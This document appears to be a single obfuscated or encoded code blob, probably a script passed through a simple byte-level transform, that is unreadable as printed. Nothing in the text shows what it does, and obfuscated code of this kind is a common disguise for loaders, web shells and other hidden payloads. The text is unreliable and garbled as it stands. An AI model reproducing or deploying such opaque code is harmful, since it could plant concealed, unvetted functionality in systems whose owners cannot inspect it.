WSW9TOFlFFFFFFFFlFFFFFFFlllF 	FFF
Q

RWWNOlFFFFllllFFFFFFFFFlIIF16F6	F%	FF 
llFF FFNG N9UNWSPSOOOFFF]lFF FNW U^PTWSNWP__VVUVNOOOF]lFFFFFFFF FFFNGP

_
TNWPVQONP

_
TNWU^TOOOFFFF]l FFN9UNWU_^ONOFFFF[[[FFFU	N^ROOFFFF]lFFFF FNGNB95#40#4=9UNWPRTO;OOF]lFFFF FN9NU	NWPRUOOOFFFFFF]lFFFFB9T_T	
P FFF[F 	T^U^NO]lllFF FNG&P

_
TNWUQQONB9T_T	
P OOFFF9WR
R NB9T_T	
P JFNRP^MTSOJFFFO]l FFFNG&	^R_ NWUQQONB9T_T	
P OFFFFFFFFFFG&	^R_ NWPRRONB9T_T	
P OOFFlFFFFFFB9T_T	
P F[FFF'$56'2.FHFFU	NWPRSO]llllFFF FFFFNG&P

_
TNWPRRONB9T_T	
P OOFFB9T_T	
P FF[FFTQ^V^_ NO]lFFFFlllllBSS FFFFF[FFFFF	
_N'$56'2.FFFFFHFFAAJFFFFNVTMVPOO]lFFFFFFFB
_^RFFFFFF[FFFU	NWPRPOFHFFFBSS FFFFHFFFU	NWPWRO]lB_QW_F[FB9T_T	
P FFFFFHFFFFAIAFFFFFHFFFB
_^R]lIIF16F4F5	\F	FllFFFFFB
SRUSF[FFFFFB9T_T	
P FFFHFP

_
TNWPRQOFFHFFFBSS ]lF 	FNNB9T_T	
P JFFFFFF'$56'2.FFHFF	^R_ NWPRSOJFFFFFTQ^V^_ NOOFFB ^	OFFFFlFB_USFFFF[FFFFB ^	FFHF	^R_ NWPR^OFFFFFFHFFFFFFBSS ]lll FN&9UNWSV^ONB_USOOFlB	S FFFF[FNOFFFF&U	NWPR_ONB_USO]lFFF FFNB	S FFFZ[FFFFFU	NWPSVONOFFFFFKFFFN^PUQVMUVOFFFFFFB	S FFXFFP

_
TNWPSWONOFFMFNUUMTPQOOFFlllFF
VUNB_USO]lF	]B WP
V[TULS]B[B WP
VKP]lFlIIFF

		llFFF FFFN&U	NWSV^ONB ^	FHF	^R_ NWPSTOFHFFBSS FFHFFU	NWPWROOOFF]lFFFF
VUNB_USO]llllFFFlFFFFlFNB ^	JFFB_USJFFFFFFB	S O]lFllFFFFFFFB9U		FF[FFF'$56'2.FHFP

_
TNWPSUOFFFHFFB
_^R]lFF FFFFFNB9T_T	
P FFFFFG[[FFF'$56'2.FFFHFFFFF9UNWPRSOFFFF@@F&9UNWSV^ONB9U		OFFFF@@FFRRQ
NB9U		OFG[[FFF 
OFFlFFFU9
 NB9U		JFFFFFNVW^PMVWOO]lllFF FFN
VUNB9U		OFF@@FF	^R_ NWPVQONU	NTVVOOOFFF&	9
NB9U		JFFFFO]llNB9U		O]lllFFF FFN&	^R_ NWSV^ONB
SRUSOFFF@@FFNOFF&	^R_ NWPR_ONB
SRUSOFXFFP

_
TNWPSWONOFFFKFFNVTMVWOOFFFF]lFFFF FFFFN&P

_
TNWSV^ONB_QW_OFF@@FFFFNU	NWPSRONOFFKFNOFF& 
NB_QW_OOFFFFZFFFNVVMVROOFFF]lllFF FN&	^R_ NWSV^ONB_QW_OOFFlFFB 9^RF[FF&P

_
TNWSV^ONB9T_T	
P FFFHF	^R_ NWPSSOFFFHFBSS OFFFYFFP

_
TNWT^WONNOF&U	NWPSPONB9T_T	
P FFFHFF	^R_ NWPSSOFFFHFBSS OOFFFF\FDD]lFFFFFFF FFFFFNB 9^RFFG[[FFDDF@@FFF	^R_ NWPSQONP

_
TNWPS^OJFFFFFB 9^ROF@@FF	9	NB 9^RJFF^P	PU QNOJFFFFAXAOOF]lNB 9^RO]lllFFF FFFFN&U	NWSV^ONB_QW_OOFFFlBT_^9FF[FB9T_T	
P FHFF	^R_ NWPS_OFHFF	
_N'$56'2.FFFFHFFFFAAJFFNVQMVWOO]lllFFFFFFFFBPFF[FFF&P

_
TNWSV^ONBT_^9OFFYFNOF&	^R_ NWPSPONBT_^9OFFFF\FFFFFDD]lFFFFFB^	FFFF[FV]BTQUVV[NVQMV SO]B^	Q
W[BTQUVVCWP]lFFFF FNBPFFG[[FFFFDDOFFFFllB	U	WWFFF[FF	^R_ NWPWVONAAJFFFBPO]lllFFFB^	FFF[FFNOFFB	U	WW=V;]lFFFlFF FFFNB^	FXFFFVFF@@FP

_
TNWPPVONOFKFB^	FXFFN^_^MTOOFFFFFF	RR^TT9
N	^R_ NWPPWOJFFFFFF9UNWPPTOO]lFFF
 FFNB^	FFF[[[FFFVFF@@FNU	NWPPUONOFFFFKFFFFFNOF& 
NB_QW_OOFFFFXFFFNW_QMQVUOOFFF	RR^TT9
NP

_
TNWPPWOJFFFP

_
TNWPPROO]lFFNBT_^9JFFFFFFBPJFB	U	WWJFB^	O]llllB
VRW
F[FFTWTNO]lFFFFFFFF FFFNGB
VRW
FFFP

_
TNWS^RONB
VRW
OFFZFFFFNV MV OOFF]lFFFFFFFBRW
 Q_9FF[FU
WTNO]lFFFFFBTVF[FFFFFFP

_
TNWPWUONWP__VVUVNOJFF	^R_ NWPPSOO]lBW_F[FFFFFTQ^V^_ NOFFHFFFFFF	^R_ NWSO]lFFFBSSPF[FFF&9UNWPPPONBW_OlFFFFFYFFFFNBW_FFHFAIAFFHFFFFBTVFFFHFFFFP

_
TNWPPSOOlll\FFFFFNTQ^V^_ NOFFHFFFU	NSSOFFFFFHFFFFBTVFFFFHFFAIAFFFHFFFBTVFHFFP

_
TNWPPSOO]llFFFFBR_R	
FFFF[FFFFFFU	NWPVQONP

_
TNQ^UOOFFYF9UNWURPON	9
NOJFF6.6934*9.)52OF\FFNNB95#40#4=9UNPRPO;OFFYFFFFB95#40#4=P

_
TNPRPO;FF\FDDO]lBQ  Q	9FF[FFFFFN N	^R_ NWPPQOOF@@FFFF16+396*3!/(9"/4OFYFFFFF16+396*3!/(9"/4FFF\FFFTQ^V^_ NOFHF9UNWSO]llllFB_TP^PTQSFF[FN N9UN^T^OOF@@FFFF1696*3!/(9"/4OFFYFFF1696*3!/(9"/4F\FFTQ^V^_ NOFFFHFFFFF	^R_ NWPP^O]lFFFFBSWVPFFFFF[FFF N9UNWPP_OOFFYF169%)(2#(29"/4FFFF\FFTQ^V^_ NO]lFFFFFFB	9TFFFF[FFF_9 RRP9R _NllFFFU	NWPQVOJlNA996'2.9$PR99AJFFFFA996*3!/(9$'5#PR99AJFFA99")+'/(99AJFFFA99.$9$PR99AJFFA99!6'2.9$PR99AJFA99'$56'2.9$PR99AJFFFA99%)(2#(2"/49$PR99AJFFFFA99+3"/49$PR99AJFFA996*3!/("/49$PR99AJFFFA995*3!99AJFFFFA990#45/)(99AOJlFFNP

_
TNWPQWONBSSPOJFFFBRW
 Q_9JFBR_R	
JFP

_
TNWPQTONB
SRUSOJFF9UNWPQUONB_QW_OJF	^R_ NWPQUON'$56'2.OJF9UNWPQRONBSWVPOJFFFFFF	^R_ NWPQRONBQ  Q	9OJF	^R_ NWPQSONB_TP^PTQSOJFU	NWPQPONWP__VVUVNOJFFFF9UNWPPSOOJFF^P	PU QNOOlFO]lFF FFFNGB	9TOFFlFFFF FFFNNOFFF9		NU	NWPQQOJFFFVOFFXFFFFFVOF	RR^TT9
NP

_
TNWPQ^OJF	^R_ NWPQ_OO]lFF]llFF FNGS_V9QNB	9TOOFFFFlILF	FFLIllFF	RR^TT9
N	^R_ NWPQ^OJFFF9UNWP^VOO]l]lFFFFFFFFlF FN URUSWNB_QW_JFFFFB	9TOOFFlFFVVRQQ9U^NB_QW_JFFFFFFWRP NOO]lU9
 NB_QW_JFFFFFNVRMVWSOO]lFF
V _RR _9NB_QW_O]llFFU_TVQTQ	_NB9T_T	
P FFFFHFP

_
TNWP^WOFFFHFBSS JFFFP

_
TNWP^TONB	9TOJF9UNWPQ^OO]llllU_TVQTQ	_NB9T_T	
P FHFP

_
TNWP^UOFHFFFFFFBSS JFFF^P	PU QNOJFU	NWP^ROO]BT[WQTV]BWSWV[BTCWP]lFFF&
9	FB_QW_]lF9N	^R_ NWPRUOJFWJFFFNTPQMUUOO]llllFlllNBQ  Q	9JFFFFB_TP^PTQSJFFFBSWVPO]lFFFFFN2	
FB
WSW9TOFFlF	RR^TT9
NU	NWP^ROJFFFB
WSW9TO]lFFFFFFFFN#	FB
WSW9TOFFFFFllFFFFlIIF
llFFl 	FFWTWSS_PWNBQQS9OlllFFFFFB UUV[NV^MVQO]BP99U[B UUVCWT]lF FFNG	^R_ NWPTTONBQQS9OOFF 
]lllFFFFFBRP
T^F[FFU	NWS^RONBQQS9O]l FFNBRP
T^FXFFNWQUSQQWKP^QW_SOOFF]lF FFNBRP
T^FFZFFFNTQVMTUVOOFFFFFFFF 
]lFFB		SU
PTF[FF9UNWPVWONBQQS9JFVJFFFFNRV_WMPWRRSOO]lFBT_	^
FF[FF	^R_ NWP^SONB		SU
PTJFFAFAOFMFFF9UNWP^SONB		SU
PTJFFFFD:DO]lFNBT_	^
FIFU	NWS^RONB		SU
PTOOFFXFFVHSS]llFFF 	FTWTNB	QU FFFF[F 
OllFFFFFFFFFFFFB
VRW
FFFF[FF

]l FFNB	QU OFlB
VRW
FF[F

]lFlFF FNB
VRW
FFFFFG[[F

OFFFFFFB
VRW
]llFFFBQQS9F[FFFF 
]lFFBR 9	TFF[FFFF&	^R_ NWSUSONWP__VVUVNOO]B9Q[6.69/(29+'>I6.69/(29+'>]BW
[B9QMQW]lFFFFFF FFFFFNBR 9	TFFF@@FFBR 9	TFFFXFFNTWWMT^_OFFF@@FFFBR 9	TFFFZ[FFNSTRT^QRWMS_OOFFBQQS9F[FFF&U	NWPSPONWP__VVUVNOO]l FN	^R_ NWPTTONBQQS9OFFF@@FFP

_
TNWP^PONBQQS9OFFFFXFFFFFNWVR^SV^MP^OOFBQQS9FFFF[FF9^QSRQNBQQS9O]lllFFF FN	^R_ NWPTTONBQQS9OF@@FFF	^R_ NWP^QONBQQS9OFXFNRP_MUWOFFFF@@F9UNWP^QONBQQS9OFZ[FFNWVR^R^PM_VOFF@@FGWTWSS_PWNBQQS9OFFFFF@@FFS_V9QNBQQS9OOFFlFFB
VRW
FF[FBQQS9]lFFFFFB
VRW
]llFFFBP^_UWUQ	FF[FT_RUU99N9UNWVTWOJFFFDDO]lFFF FFFFFFN9UNWPTTONBP^_UWUQ	OF@@FFFF9UNWP^QONBP^_UWUQ	OFXFFNRP^MUTOFFFF@@FFFU	NWP^QONBP^_UWUQ	OFZ[FFFNWVR^R_RM^TOF@@FGWTWSS_PWNBP^_UWUQ	OFF@@FFS_V9QNBP^_UWUQ	OOFFFFlFFFFFB
VRW
FFFF[FFFBP^_UWUQ	]lFFFFB
VRW
]lFlFFFB
VRW
FF[FFF 
]lFFFFFFFFFFFFB
VRW
]lFFl 	FU
WTNB	QU FF[F 
OlFFFFlFBPQ
 9FFF[FFF

]lFFFFFFll FFNB	QU OFFFlIIF16F$
	F'6/FUFF	llFBPQ
 9FFFFF[FFF

]lFlIIF16F"F+	
\F

Fll FFNBPQ
 9FFG[[FFF

OFFBPQ
 9]lFFFFBQQS9FFFFFF[FTWTNO]lF FNG9UNWPTTONBQQS9OFFP

_
TNWP^QONBQQS9OFFFFZFNTR^MTSTOFFFFFFFU	NWP^QONBQQS9OFXFNWVR^R_UM^UOFFFFFWTWSS_PWNBQQS9OFFFFFGS_V9QNBQQS9OOFFFFlBPQ
 9FF[FFF 
]lFFFFFBPQ
 9]lFFFFFlFBPQ
 9F[F	^R_ NWPQSONS9U UUP 9NBQQS9OO]lFFFFFFBPQ
 9]llFFF 	FFQP TQWRWNB	UOlFFlFFFFFF FFFNG	^R_ NWP^^ONB	UOFFFF9UNWP^_ONB	UOFFZFNWR_8WUSOFFFFP

_
TNWPVWONB	UJFFFVJFFTOFG[[FFFD:W :^DOFFFV]lllBPPQ
	F[F&9UNWSU_ONA0AJFP

_
TNWPVWONB	UJFKNVUMVWOOO]llBPPQ
	FFFF[FFP

_
TNWU^RONBPPQ
	OFFFYFBPPQ
	=W;FFFF\FV]lFFFFF FNBPPQ
	FZFFFNRQWMT_OFFFFFBPPQ
	FFXFFNWVR^SUSMRWOOFFBPPQ
	]lFV]lFFlFFFFFF 	FFFS WV9^R_NBQWS_P _QOllFFFlFFFFFF	^R_ NRVRONNBQWS_P _Q=W;OO]llF 	FU 		 WS	NBT VVOlFFFl FNG9UNWP^^ONBT VVOFFFFFFBT VVFFF[[[FDDOFFFFFFBT VV]B_ _TQ[WVVMQV]B^V__[B_ _TQKWV]lFFFFFFFFFFFB  ^
F[FF

]lFFFFF FFFNB  ^
F[[[FF

OFFlFFFB  ^
FFFF[FF 
]lFFFF FFFNU	NWPVQONU	NWP_VOOOFFFllllFB9FFF[FFFF NU	NWPP_OOFFYFFFFFF169%)(2#(29"/4F\FN NU	NWSPSOOFFFFFYFF'$56'2.FF\FFFFFDDO]lFFF FNB9FFFG[[FDDOFlllFBRTP	9RF[F&9 9NB9O]lFFF FFFFFNBRTP	9RFFFG[[FFF 
FFFF@@FBRTP	9RFFX[FFFNTWVPUTPR_KSUURPTR_OOFFFFFFB  ^
FF[FFF]llFFFlFFFF FNGB  ^
OFFFFFl FFFNU	NWPVQONU	NWPV^OOOFF&9		NU	NWP_WOJFF	^R_ NWP_TONOJF9UNWSWSOO]BRUVT[NVRRMVTO]B	V [BRUVTCWU]lFFF
 FFFFNP

_
TNWPVQONU	NWPVPOOOFlFBQS
FFF[FNOFFFF9		NP

_
TNWP_WOJFVO]lllF FFNBQS
F@@F	^R_ NWP_UONOFFFFKFBQS
FFZFN^PUV_M_WOOFFFFFB  ^
FF[FF 
]lFFlFFFFFFFlFFFFFF FFFFNGB  ^
OFFlFFFFBT VV]lIIF16F#F4	FF	llFFFFFFFlBTFF[FFFFFFNSR___^QMWUOFMFFFFU	NWWRRONVJFFNWWWVVUVMU^__QVOO]l FFFNP

_
TNWP_RONBT VVOFFX[FFFBTOFFFFBT VV]lF FN9UNWP_SON	^R_ NWRRRONBT VVOJFKTOF[[[FFP

_
TNWP_POOFFFFFFFBT VV]llllFF
FFFN9UNWP_RONBT VVOFFZFFFFBTFKFFFFFFNRVSPMRROOFFFFlFB TW	R	_ SQPFFF[FDD]lFFFF FN	^R_ NWPVQON9UNWP_QOOOFFFlFFlFFFFB TW	R	_ SQPFF[FFF&9UNWP_^ON	9NNU^RMWPWPOOO]lFFFFFFFFFFFFFFFN2	
FFFB
WSW9TOFFFllFFFFB TW	R	_ SQPFF[FFDD]lFFFFFFFFN#	FB
WSW9TOFFFFFFlFFFFFB TW	R	_ SQPFFFF[FDD]lFFFFFlFFFFFFFFl FFFN9UNWP_RONB TW	R	_ SQPOFFFZFNUR_PMSVROOFFFFFlFFFFB TW	R	_ SQPFFFF[F9UNWP^TONNDDJFFOO]lF
FFFNU	NWP__ONB TW	R	_ SQPOFFZFNPU_^KTU_^OOFFFFB TW	R	_ SQPFFFFH[FF9UNWP^TONB TW	R	_ SQPO]lFFFFFFlFFFFFFBT VVFFH[FFD:ILDFFHFFFB TW	R	_ SQPFHFFFFU	NWQVVO]llFFFFFFBT VV]lFFFllFFF 	FF9^QSRQNBT VVOlFFllFFF FNG	^R_ NWQVWONBT VVOFF9UNWP__ONBT VVOFFFFFFZ[FFFFFNW_UUU^_K^^R^WUOOFFFFFBT VV]B^

S[PQTP]BRRP^QQ[B^

SCWW]lFFFFFBVTVWFFF[FFU	NWPUQONP

_
TNWQVTOJFDDJFFFFBT VVO]lFFFFFF9UNWQVUONBVTVWOFFFYFFBVTVWFF\FBT VV]BTV [RWS]B^Q^[NBTV XVOYBTV \KBTV ]ll 	FFFFFF
V _RR _9NB
V^V^OllIIFF	llF FFNG9UNWQVRONP

_
TNWQVSOOFFFFGP

_
TNWQVRON	^R_ NWPV^OOOFFFFF]lFFFF FFFFFNG9UNWQVPONB
V^V^OFFFFFFB
V^V^FFFFFF[[[FFFFFDDFFFFFFFG&U	NWQVQONB
V^V^OOFF]lIIF
F
	llFF FFNGNB!*)$'*5=P

_
TNWQV^O;OFFFFFFGP

_
TNWU^RONB!*)$'*5=	^R_ NWQV_O;OOFlFFB!*)$'*5=9UNWQV_O;FF[FFFFFF9		N	^R_ NWQWVOJFFNOO]lllFF FFFNGP

_
TNWQWWONB!*)$'*5=U	NWQV_O;OOFFB!*)$'*5=9UNWQV_O;FFFF[FFFFNO]lFFlFFFFFBQWS_P _QFFF[FB!*)$'*5=P

_
TNWQV_O;]lBT VVFFF[FFF&P

_
TNWQWTONB
V^V^O]lll FFFFNGP

_
TNWQVPONBT VVOOF]llllFF FFFFNU	NWP__ONBT VVOFFFFFXFFFFNV SMVUSVPOOFFFBT VVFF[FF9^QSRQNBT VVO]llBQWS_P _Q=9UNWP^TONB
V^V^O;FFF[FNAAFF[XFFFFB
V^V^JFFAAFFFF[XFFFU	NWQWUONBT VVOJFFFAAFFFF[XF^P	PU QNOJFFAAF[XFFU	NWP_UONOO]lFFFFFFF FFFFNU	NWSUQONBQWS_P _QOFFFFFXFFFFNWQWMT_OOFFlll 	FFFNBQWS_P _QFFFFFB9 T^SPTWSF[XFB^9V
OFFlllFFFFFF FNG9UNWQWWONB^9V
OFFFFFFGNB^9V
=AA;OFFFFNOFFB^9V
=AA;FZFFU	NWP_UONOFFFKFFFNTS_W_RUMSQOOFFFNBQWS_P _Q=B9 T^SPTWS;O]llllFFFlFFFFFFFF
FNU	NWSUQONBQWS_P _QOFFFFXFFNU^SKW^SOOFFFlB R^U F[FFFFF

]lFFBPVUU	RF[FFFF

]lFF 	FNBQWS_P _QFFFFFFB9 T^SPTWSFFFFF[XFFFFFB^9V
OFFlFFB	  TSR^FFF[FFFU	NWQWWONB^9V
OFF@@FNB^9V
=AA;OFYFFFNOFFB^9V
=AA;FFFF\FV]l FFFFFNBPVUU	RFFFF[[[F

FFFFFFFB	  TSR^FFFZFFFFFBPVUU	ROFlFFBPVUU	RFF[FB	  TSR^]lFFB R^U FFF[FFB9 T^SPTWS]lFFFFlFFlFFF FFFNB R^U F[[[FFFFF

OFFFF]lFFFFFFNBQWS_P _Q=B R^U ;O]llFllllFlFFF9		N9UNWQWROJFFBQWS_P _QJFP

_
TNWSWSOO]lFFB!*)$'*5=	^R_ NWQV_O;F[FFBQWS_P _Q]lFlF 	FFFRRQ
NB
V^V^OlFlFFF FNG	^R_ NWQVPONB
V^V^OFFFB
V^V^F[[[FFFFDDOFFFFFFF 
]lFF FNGNB!*)$'*5=9UNWQV_O;OFFFFFFFGP

_
TNWQWWONB!*)$'*5=P

_
TNWQV_O;OOFFFllllFFFFB!*)$'*5=	^R_ NWQWSO;FFFFFF[F9UNWQWPONU	NWQVSOOFYFFFF9		NP

_
TNWQWQOJFFNOOF\FFNO]lFFFFF FFFFNG9UNWQWWONB!*)$'*5=U	NWQWSO;OOFFFFB!*)$'*5=	^R_ NWQWSO;F[FNO]llIIF6%4#TF,/2\F
F
	lllFFBQWS_P _QFFFFF[FFFFFFB!*)$'*5=P

_
TNWQWSO;]lFFFFFBWTWQPFF[FFF	^R_ NWQW^ONB
V^V^O]lF FFNNBQWS_P _Q=BWTWQP;OFFFFF@@FF9UNWQWWONBQWS_P _Q=BWTWQP;OFFF@@FFNBQWS_P _Q=BWTWQP;=AA;OOFlFFFFFFF FNNOF&U	NWSUSONB
V^V^OFFXFNSTRT^QTSMQSOOFFFFFFU	NWQW_O]lBT VVFFF[FFFF&	^R_ NWQWTONB
V^V^O]lFFF FFFFFN	^R_ NWQVPONBT VVOOFlF FFFFFFN9UNWP__ONBT VVOFXFFFNVR _PMVVP_TOOFFFFFBT VVFFFFF[F9^QSRQNBT VVO]lFFFNP

_
TNWQW^ONBT VVOF[[[FBQWS_P _Q=BWTWQP;=AA;OFYFFF\FFFF	^R_ NWQW_O]lFFFlFFFFFFFF 
]lllFFllFFFFFFFFB TVQ^ TWFF[FFFFF&	^R_ NWQTVONB
V^V^JFFF 
JFF

JFFVJFFFFFNWQSPMTURVOO]l FFNlll9UNWQVPONB TVQ^ TWOFFFFF@@F9UNWQTWONP

_
TNTUUOJFB TVQ^ TWOl@@FFFF_9
U NB
V^V^JFFFNR_SMSOOlFFFFFFOFFl FNNOF&	^R_ NWSUSONB
V^V^OFFXFFFFNWVRSSVVVMRW_QU^VVOOFFF 
]llllBT VVF[FFNOF&9UNWQTVONB
V^V^O]lFFF FFN9UNWP__ONBT VVOFFFFFFXFFFFFFNWUQPP^UKUT^WVQOOFFFFFFBT VVFFF[F9^QSRQNBT VVO]l FNS_V9QNBT VVOOFFFFFU	NWQTTO]lFFlFFFFF 
]llllFF 	FFU	UTNOllFBQWS_P _QF[FFF

]lFF FFFFNBQWS_P _QFFFFG[[F

OFFFBQWS_P _Q]llFFFFBT VVFFF[FFFFFNOFF&P

_
TNWQTVONWP__VVUVNOO]lFFFFFF FFFFN9UNWQTUONBT VVOFFFXFFFFFNWSQSPWPKSTQVRVOOFFFBT VVFFFF[F9^QSRQNBT VVO]lFBQWS_P _QFFFF[FFFFFFP

_
TNWQW^ONBT VVO]llFFFBQWS_P _Q]ll 	F^W^

9NOllFFFFFlllF	^R_ NWQTRONU	UTNOJFFVJFFFNTRKWTOO]llFFFF 	FFFTTQNOlllFFFFFFFlFFFFFFFFF 	T^U^NOFHFP

_
TNWQTSOFFFFFHF	
_N'$56'2.FHFFFFFP

_
TNWQTPOJFNWRKPOOFFHFF9UNWQTQO]lFFlF 	FF
^W^PRNOlFFFlFFFB	9^   ^WFF[FNO]lF FNP

_
TNWQT^ON9UNWQVSOOOFlIIFF 	llBTV9FFFFF[F&9		NU	NWQT_OJFFNOO]lFF FFNP

_
TNWQUVONBTV9OOFFB	9^   ^WFFFF[FFBTV9]lIIF16F5F$
	\FFK	llFFlFFBT VVFF[FFF&P

_
TNWQVQONTTQNOOFYFFFFF&9UNWQTVONTTQNOOFFFFF\FFFDD]lFFFF FFFFFFNP

_
TNWQVPONBT VVOFFF@@FFFFU	NWPUUONBT VVJFFP

_
TNQPWOOFFF[[[FFVOFFFFlFFBUT9
9F[F9UNUPTON	^R_ NWQUWONBT VVJFFFNTT_8TTROOJFFO]lF FFFN	^R_ NWQUVONBUT9
9OF@@FNNB	9^   ^W=U	NWQUTO;OFFFFNGNBUT9
9=	^R_ NWQUUO;OFF@@FFBUT9
9=P

_
TNWQUUO;FFFFX[FFFFFB	9^   ^W=U	NWQUUO;OOOFFFFFB	9^   ^WFF[FFBUT9
9]lFFFlFFFFB	9^   ^W]lFFFFFFFFlFF 	FFPSU_^_U
T_NB	W^TTUROlFFFFFFlILF	FFLIllFFFFFlFFFFFFF FFFFNG N9UNWSPSOOOFFFF]lFFBW^Q	
FFF[FFF	^R_ NWP_UONO]lFFFF FFFNB	W^TTURF[[[FFFP

_
TNWQUROFFFFB	W^TTURFF[[[FP

_
TNWQUSOOFFlBFF[FFF
^W^PRNO]l FFNlFNB=	^R_ NWQUPO;JFFB=	^R_ NWQUQO;OFF@@FB=	^R_ NWQUPO;FFFF[[[FFB	W^TTURllllFFF@@FFFFBW^Q	
FFFFKFFFNOFFB=	^R_ NWQU^O;FFFFZFFNB	W^TTURFFFF[[[FU	NWQUSOFYFFFNUPPKPPOFF\FFFFN_MWOOlllFOFFFFF]lFlIIF
FllFFFB	9^   ^WFF[FFNllFFFFFFAAFFF[XF^P	PU QNOJlFFFFP

_
TNWQU_OFFFF[XFFF^W^

9NOJlFU	NTUROFF[XFFWP__VVUVNOJlllU	NWUSTOFFF[XFP

_
TNWPQPONWP__VVUVNOJFFFFF9UNWQTQOOJllF	^R_ NWQUPOF[XFFFFFB	W^TTURJlFFU	NWQRVOFF[XFFFFBW^Q	
JlFF	^R_ NWQU^OFF[XFBW^Q	
Jl9UNWQUUOFFF[XFNB95#40#4=P

_
TNWQRWO;OFFYFNOFFFFFB95#40#4=	^R_ NWQRWO;FF\FFFBW^Q	
JlO]lllFFFF FFN9UNWQT^ON9UNWPV^OOOFFFF&9		N9UNWQRTOJFFB	9^   ^WJFFFFF	^R_ NWQRUOO]lFBQ
WVF[FF 	T^U^NO]lF FFN&U	NWUQQONBQ
WVOFFFFFFF9WR
R NBQ
WVJFFFN^S^KUPSOJFFFOOFl&	^R_ NWWUQONTTQNOJFFFU	NQPWOFFFHF9UNWUPTONB	9^   ^WOO]lFFFFFFFlFFFFFFFFFFFN2	
FFFB
WSW9TOFlFFFFFFFN#	FFFFB
WSW9TOFFFFlFFlFllllF 	FFFFFWT QNB	9^   ^WOlFFFFFFlFFFFFF FNG	^R_ NWQRRONB	9^   ^WOFFFFFFNB	9^   ^W=	^R_ NWQRSO;OFFG	^R_ NWQRPONB	9^   ^W=P

_
TNWQRSO;OOFFFFFF	^R_ NTUQO]lFFFFB 
 UUTQ	WFF[FB	9^   ^W=P

_
TNWQRQO;]lFFFFFFFF FFFFFNG&P

_
TNWQR^ONB 
 UUTQ	WOFFFFNOF&P

_
TNWQR_ONB 
 UUTQ	WOFFZFNRR^MSTOOFFFFF9UNTUQO]l FFNV	 SNB 
 UUTQ	WOOFFFFF	^R_ NTUPO]lFFFBTU9
 9FFFF[FNB	9^   ^W=P

_
TNWQUPO;OFYFFFB	9^   ^W=	^R_ NWQUPO;FFF\FFFFFFDD]lFFFB	U9QUF[FFFFFFNB	9^   ^W=P

_
TNWQSVO;OFFFFYFFNOFFFB	9^   ^W=9UNWQSVO;FF\FV]lllFFF FNBTU9
 9FF[[[FF9UNWQUSOOFFFFFFFFNB	U9QUFFXFVFF@@FFFU	NWP_UONOFFKFFFFB	U9QUFFFZ[FNUS^VMTVOOFYFFFFFP

_
TNWQSWOFFF\F	^R_ NWQSTO]lF FFNBTU9
 9FF[[[FFF	^R_ NWQSUOOFFF	^R_ NWQSRO]lF FFNBTU9
 9FFFF[[[FFP

_
TNWQUROOFFFNB	U9QUFFXFFVFFF@@FFFFFFU	NWP_UONOFFFFFKFFB	U9QUFFZ[FFNVWPMVPTOOFFYFF	^R_ NWQSTOF\FFFFFFU	NWQSRO]lllFFFFFFP

_
TNWQSSO]lFFFFFlFF 	FFQSTS	QQNB
V^V^OlFFl FFNG&U	NWQR^ONB
V^V^OOFFFFFFFF 
]llFFB

_VT	FF[FFFFNOFF&9UNWQSPONB
V^V^O]lFFFFFF FNB

_VT	FFFFFZFFNVWUVMVROFFFFFB

_VT	FFFFXFFN^UPQSUWMRRVPWTP_OOFFFFFFFFFF 
]llFFFFFB TVQ^ TWF[FF&P

_
TNWQTVONB
V^V^JFF 
JFFF

JFFFFVJFNRVSQMU_OO]l FFFNGU	NWQRPONB TVQ^ TWOFFFFFFFGP

_
TNWQTWON	^R_ NTUUOJFB TVQ^ TWOOFFFFFF 
]lFFFF FNB

_VT	FFFXFNWVR^SUUMRUOOFlFFFFBTFFFF[FF&P

_
TNWQSQONB
V^V^JFFF 
JFF

JFFB

_VT	FFFFKFNRVPRMUTOO]lFP

_
TNWQS^ONBTOF@@FP

_
TNWQTWON9UNWQS_OJFFFFFBTOFFFF[[[FW]lllllllFFFBT VVFFFFF[FFF&9UNWQPVONB
V^V^O]lFFF FFNG	^R_ NWQS^ONBT VVOOFFFFF 
]lFFFFFS_V9QNBT VVO]lFlF 	FFFFV	 SNB
V^V^OlFlFFFFBTVFFFF[F9UNWPQPONB
V^V^JFF9UNWQPWOO]l 	FFNNP

_
TNWTP_ONB
V^V^OJF9	_	^R	VVNOOFFFBWRV	P
UOFFlFFFFBQ 9PTP TFFF[FFBWRV	P
UFFHFFFU	NWQPTOFFHFBTV]lFFF FFNG&9UNWQPUONBQ 9PTP TOFFFNOFF&P

_
TNWQPRONBQ 9PTP TOFFZFP

_
TNWP_UONOFFKFFFNPVRQ_QMUOOF	]llFB RTT
V SFF[FU	NWT^WONNOFF&P

_
TNWQPVONBQ 9PTP TOO]lllF FFFNB RTT
V SFFFF[[[FDDOFFFF	]lllFFBT VVFFF[FFNOFF&	^R_ NWQPVONB
V^V^O]lF FFN	^R_ NWQTUONBT VVOFFFFXFFFFNWVR^SW^MS^OOFFFBT VVFFF[FF9^QSRQNBT VVO]lllF FFNBT VVFFFG[[FFFDDFFFF@@FFU	NWQPSONBT VVOFF[[[FFFFFFB RTT
V SOFFFF]lFlFFFFFF 
]ll 	FUU9NB
V^V^OlFFlFFFFF FFFNG9UNWQT^ONP

_
TNWQVSOOFFFFFFFGP

_
TNWQT^ONP

_
TNWQPPOOOFFFFF]lFFFFBT	^TF[FFFFFF&9		N9UNWQPQOJFNOO]lFF FFFNGU	NWQRRONBT	^TOOFFBT	^TF[FFNO]lFBT	^T=P

_
TNWQPSONB
V^V^O;FF[FFFB
V^V^]l FN9UNWSUQONBT	^TOFFXFFNW_MWOOFFBT	^TF[FFFFF	^R_ NWQP^ONBT	^TJFFFFKNVMVPOJFF

JFO]lFF&9		N	^R_ NWQPQOJFBT	^TJFFF9UNWQRUOO]lFFFllllFFFFFF 	FFFFS PWUNOllFF FFNG9UNWQT^ONP

_
TNWQVSOOFFFFFFFFG	^R_ NWQT^ON	^R_ NWQPPOOOFFFFFF]lFFFFFFFBT	^TF[FF&9		NP

_
TNWQPQOJFNOO]lFFF FFNGP

_
TNWQRRONBT	^TOFFFNBT	^TOOF]lFFB	PP_VF[FFNO]llllF 	FNBT	^TFFFFB9 T^SPTWSFFFFF[XFFB 
 UUTQ	WOFFFFFlF FFFFNGU	NWQS^ONB 
 UUTQ	WOFFFFFFFFFB 
 UUTQ	WFFF[[[FFDDFFFFFG&P

_
TNWQPUONB 
 UUTQ	WOOFFFFF	]lFFF FFFFFNRRQ
NB 
 UUTQ	WOFFFF[[[FF 
OFFFB	PP_V=B9 T^SPTWS;F[FFFFB 
 UUTQ	W]F	]FllFFU9
 NB 
